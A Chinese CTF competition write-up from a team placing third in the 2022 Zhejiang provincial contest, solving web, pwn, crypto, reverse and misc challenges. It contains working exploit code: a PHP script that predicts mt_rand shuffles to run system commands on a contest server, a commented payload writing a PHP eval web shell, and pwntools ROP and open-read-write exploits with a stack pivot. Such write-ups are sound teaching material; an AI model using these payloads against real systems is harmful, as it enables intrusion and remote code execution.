浙江省2022省赛write up

久违的题解来啦!!!

沙耶之歌战队

  1. 解题过程中,关键步骤不可省略,不可含糊其辞、一笔带过。
  2. 解题过程中如是自己编写的脚本,不可省略,不可截图(代码字体可以调小;而如果代码太 长,则贴关键代码函数)。
  3. 您队伍所有解出的题目都必须书写WRITEUP,缺少一个则视该WRITEUP无效,队伍成绩将无 效。
  4. WRITEUP如过于简略和敷衍,导致无法形成逻辑链条推断出战队对题目有分析和解决的能 力,该WRITEUP可能被视为无效,队伍成绩将无效。
  5. 提交PDF版本即可

战队信息

  • 战队名:沙耶之歌
  • 排名:3

解题情况

main

所有题目的附件👇

Web

babysql

sqlmap一把梭,用个space2mssqlhash tamper即可。

ezphp

7.1.0 内置的随机数产生算法从 libc rand 函数改成 » 梅森旋转伪随机数生成算法。

所以可以爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
mt_srand(time() + 1);
$cmd='ls+-al+./';
#$cmd='echo%20PD9waHAKZWNobyAnbXFtJzsKQGV2YWwoJF9QT1NUWydjbWQnXSk7Cg==|base64%20-d>mqm.php';
$a = array("system", $cmd);
for ($i = 0; $i <= 10000; $i++) {
array_push($a, "Ctfer");
}
shuffle($a);

$n1 = array_search('system', $a);
#echo $n1 . ' ' . $a[$n1] . '<br>';
$n2 = array_search($cmd, $a);
#echo $n2 . ' ' . $a[$n2] . '<br>';

// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://1.14.97.218:21659/index.php?cmd=" . $cmd . "&b=" . $n1 . "&c=" . $n2);
#print_r("http://1.14.97.218:21659/index.php?cmd=" . $cmd . "&b=" . $n1 . "&c=" . $n2);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 抓取URL并把它传递给浏览器
$s = curl_exec($ch);
print_r($s);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);

然后burpsuite跑一下即可。

这题没权限写马,浪费了很多时间,可惜。

所以总结一下:一般情况下,非文件上传功能的目录都是不给 w 权限的,所以能执行命令就不要写🐎

PWN

pwn3

题目分析(赛后复现的赛中分析)

静态链接的 elf,逻辑比较难以分析,不过根据题目的描述选择直接 down 下来跑一下看看。

1

发现是一个迷宫,用 wsad 上下左右移动,结果显而易见,走到出口之后打印了我们一个 flag 字符串,其它什么都没有给,但是貌似最后还有一个输入,考虑一下栈溢出,输入大量数据来确定。

为了方便调试还是选择用脚本跑掉前面的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from time import *
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
path='sssssdddwwwdddwdww'
s=0
for i in path:
for j in range(10):
p.recvline()
p.sendline(i)
gdb.attach(p)
p.interactive()

结束之后输入大量的 a 发现 0x4017cc 的返回指令返回到 0x6171717171717171,说明我们写的 a 覆盖到了返回地址,这里我们就能劫持程序流了。

2

反复跑脚本确定了缓冲区大小是 0x178,我们需要在 0x180 之后输入返回地址劫持。由于是静态链接,静态链接中能找到调用的 execve 函数,直接使用 gadget 调用结束。在静态链接中,想要准确的找到函数的位置基本是挺难的,但是 execve 还是比较好找的,我们直接搜 /bin/sh 字符串,然后交叉引用就能看到。

3

就是图中 0x5cd630 函数。

然后我们补一下脚本,这里为了方便调试,我们直接把断点打在返回指令的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from time import *
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
path='sssssdddwwwdddwdww'
s=0
for i in path:
for j in range(10):
p.recvline()
p.sendline(i)

pop_rdi=0x00000000004008f6
pop_rsi=0x000000000040417f
pop_rdx=0x000000000051d4b6
execve=0x5cd630

payload=b''
payload+=p64(pop_rdi)+p64(elf.search(b'/bin/sh').__next__())
payload+=p64(pop_rsi)+p64(0)
payload+=p64(pop_rdx)+p64(0)
payload+=p64(execve)
gdb.attach(p,'b *0x4017cc')
p.sendline(b'a'*0x180+payload)

p.interactive()

当我以为成功的时候

4

发现 shell 并没有用,于是才发现这题开了沙箱保护,禁用了 execve 系统调用,因此我们的提权计划宣告失败。

那我们只能选择 orw 去读出 flag,但是当把所有的 gadget 找齐拼接好以后发现他溢出长度还有限制。

于是这个时候我只能选择栈迁移,不过栈迁移之前需要在一个确定可读可写的位置写上 rop 链才能达到目的。

这里还需要一个最终的 gadget:pop rdx ; pop rsi ; ret。不然发现长度还是不够,而我最终的 exp 则是刚刚好利用完所有的空间,这里还省了一个 pop rax ; ret,因为它程序运行到这里就直接 rax=0 了,所以这里可以省下 17 字节。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from time import *
context.log_level='debug'
#p=process('./pwn')
p=remote()
elf=ELF('./pwn')
path='sssssdddwwwdddwdww'
s=0
for i in path:
for j in range(10):
p.recvline()
if i=='w':
s+=1
if s>5:
pass
p.sendline(i)

pop_rax=0x0000000000400a4f
syscall=0x00000000004025ab
pop_rdi=0x00000000004008f6
pop_rsi=0x000000000040417f
pop_rdx=0x000000000051d4b6
pop_rbx=0x0000000000402498
pop_dx_si=0x000000000051d559
buf=0x98a000
leave=0x00000000004017cb
payload=p64(0)+p64(pop_rax)+p64(2)#open
payload+=p64(pop_rdi)+p64(elf.search(b'flag').__next__())
payload+=p64(pop_rsi)+p64(0)
payload+=p64(syscall)

payload+=p64(pop_rax)+p64(0)
payload+=p64(pop_rdi)+p64(3)
payload+=p64(pop_rsi)+p64(buf)
payload+=p64(pop_rdx)+p64(0x100)
payload+=p64(syscall)

payload+=p64(pop_rax)+p64(1)
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(buf)
payload+=p64(pop_rdx)+p64(0x100)
payload+=p64(syscall)
pa=b''
#pa=p64(pop_rax)+p64(0)
pa+=p64(pop_rdi)+p64(0)
pa+=p64(pop_dx_si)+p64(0x100)+p64(buf+0x300)
pa+=p64(syscall)+p64(leave)
#pa+=p64(pop_rdx)+p64(0x100)+p64(syscall)
p.recvuntil('flag')
gdb.attach(p,'b *0x4017cc')

p.sendline(b'a'*0x178+p64(buf+0x300)+pa)

sleep(2)

p.send(payload)#orw链
p.interactive()

运行结果

赛时截图:

5

不管怎么说,这题拿到了一个一血,还是很开心的,但是据说这题有更简单的做法,因为程序运行的时候会分配一个可读可写可执行的段,而我们可以利用这个段写 shellcode 去得到 flag,而 pwntools 自带构造 shellcode 的函数,可以让我们方便去构造 shellcode。

Re

zandroid

zip打开,找资源文件发现直接 flag 在 mipmap-xxxhpdi-v4 下面有一个 pic1.png 上面画着 flag。

我的 re 什么时候才能站起来啊,听说这次 re 异常简单,而我就是不会。

Crypto

rssssa5

用sagemath跑下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
e = 65537
n = 21795945409392994055049935446570173194131443801801845658035469673666023560594683551197545038999238700810747177248724184844583697034436178042499504967917978621708536213230969406811902366917932032050583747070735750876593573387957847683066895725722366706359818941065483471789173682177234707645138490589285500875222568286917243861325846262174331736570517513524474322519145470883352586121892275861245291051789531734179640139953079522307426687782419075644619898733819937782418589025945603603989100805717550707637938272890461763518245458692411433603442554397633470070254229240718705126327921819662662201896576503865953330533
c = 1700765718465847687738186396037558689777598727005427859690647229619648539776087318379834790898189767401195002186003548094137654979353798325221367220839665289140547664641712525534203652911807047718681392766077895625388064095459224402032253429117181743725938853591119977172518617563668740574496233135226296439754690903570240135657268737729817911404733486976376064060345507410817912670147466261149172470191719474107592103882894806322239740349433710606063058170148571050855845964674224651003832579701204330217602742005466066589981707592861990283864753628591214636813639371477417319679603330973431803849304579330791040664
p = 1426723861968217959675536598409491243380171101180592446441749834738176786277745723654950385796320682900434611832789544257790278878742420696344225394624591757752431494779

PR.<x>=PolynomialRing(Zmod(n))

k=x*2**560+p
k=k.monic()

root = k.small_roots(X=2^464,beta=0.45,epsilon=0.05)
p=int (root[0])*2**560+p

q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(m)

6

然后解下hex即可

1
DASCTF{ce73935b2e83a78aa5079a9e59ae4980}

math

思路大概就是对每一个操作求逆,直接跑个脚本完事

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
import math
str = 'abcdefghijklmnopqrstuvwxyz0123456789+='
c='u66hp7nuh01puoaip10pi6o0vzavnu11'
n=176778040837484895481963794918312894811914463587783883976856801776290821243853364789418908640505211936881707629753845875997805883248035576046706978993073043757445726175605877196383212378074705385178610178824713173854530726380795438083708575717562524587045312909657881223522830729052758566504582290081411726333
m=''
key=n-1
for i in c:
k=((str.index(i)-7)*inverse(key,37))%37
m+=str[k]
print(m)

7

MISC

checkin_gift

拿到发现是两张图片整合而成的,分离图片时发现中间有一串gift,刚开始以为是base64,怎么试都还是错的,后来才发现不是,最后拿去解码拿到flag

Snipaste_2022-09-24_12-47-06

Snipaste_2022-09-24_10-09-08

m4a

拿到一个没有后缀的文件

Snipaste_2022-09-24_12-52-16

拖入010发现文件末尾有疑似压缩包关键字

Snipaste_2022-09-24_13-25-37

但是好像是倒着的,用瑞士军刀倒回来

Snipaste_2022-09-24_13-32-00

保存下来准备打开,但是显示损坏

Snipaste_2022-09-24_13-33-23

用WinRAR修复一下得到一个完整的压缩包

Snipaste_2022-09-24_13-49-08

Snipaste_2022-09-24_13-49-19

但是发现解压需要密码,爆破无果,看了一会别的题目回到这个题的时候,发现题目一直在强调m4a的文件类型,在010中反复查看,突然注意到开头的mp,发现文件中有好多个m和p字母出现

Snipaste_2022-09-24_14-05-44

因为没有很明显的文件头和文件尾,脑洞一开猜想会不会是mp3或者mp4,于是改了个文件尾,发现可以打开(打开的一瞬间吓我一跳、、)

Snipaste_2022-09-24_14-08-05

正经人当然纯靠耳朵听摩斯密码啦(bushi

打开Au一顿操作猛如虎

Snipaste_2022-09-24_10-41-52

翻译一下

Snipaste_2022-09-24_14-10-13

解码一下

Snipaste_2022-09-24_14-11-42

拿到压缩包密码,打开压缩包

Snipaste_2022-09-24_14-12-38

拿到一串字符,交了一下发现错误,文件名是atbash,在瑞士军刀中搜索发现有此方法,拖入后将得到的字符上交,还是错误。

试了一下签到题里用过的rot13,还是错误,只能将解密库里的解密一个一个试过去,发现居然是47、、(远在天边近在眼前

Snipaste_2022-09-24_14-16-16

提交得到flag

Unkn0wnData

拿到一张图片Snipaste_2022-09-24_14-19-27打开核对文件头文件尾发现尾端多出一部分

Snipaste_2022-09-24_14-22-30

把尾端多出来的部分拿去解密

用base64解密后只能看到前面部分,后面依旧是乱码,但是很有规律,结合做题经验发现是我最讨厌的表情符号

Snipaste_2022-09-24_13-31-05

然后拿key

用Stegsolve解码下图片

504B,明显zip文件

处理下文件

1
2
3
4
5
6
7
8
9
10
f=open('./key.txt','r')

lines=f.readlines()
for line in lines:
i=0
for s in line[:len(line)]:
i+=1
print(s,end='')
if i%2==0:
print(':',end='')

发现是键盘流量,但是格式不太对,写个脚本添加冒号,核对格式后直接套用大佬的脚本

Snipaste_2022-09-24_13-56-16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('key1.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))


解密

Snipaste_2022-09-24_14-28-22

提交

文章目录
  1. 1. 沙耶之歌战队
    1. 1.1. 战队信息
    2. 1.2. 解题情况
  2. 2. Web
    1. 2.1. babysql
    2. 2.2. ezphp
  3. 3. PWN
    1. 3.0.1. pwn3
      1. 3.0.1.1. 题目分析(赛后复现的赛中分析)
      2. 3.0.1.2. exp
      3. 3.0.1.3. 运行结果
  • 4. Re
    1. 4.1. zandroid
  • 5. Crypto
    1. 5.1. rssssa5
    2. 5.2. math
  • 6. MISC
    1. 6.1. checkin_gift
    2. 6.2. m4a
    3. 6.3. Unkn0wnData
  • |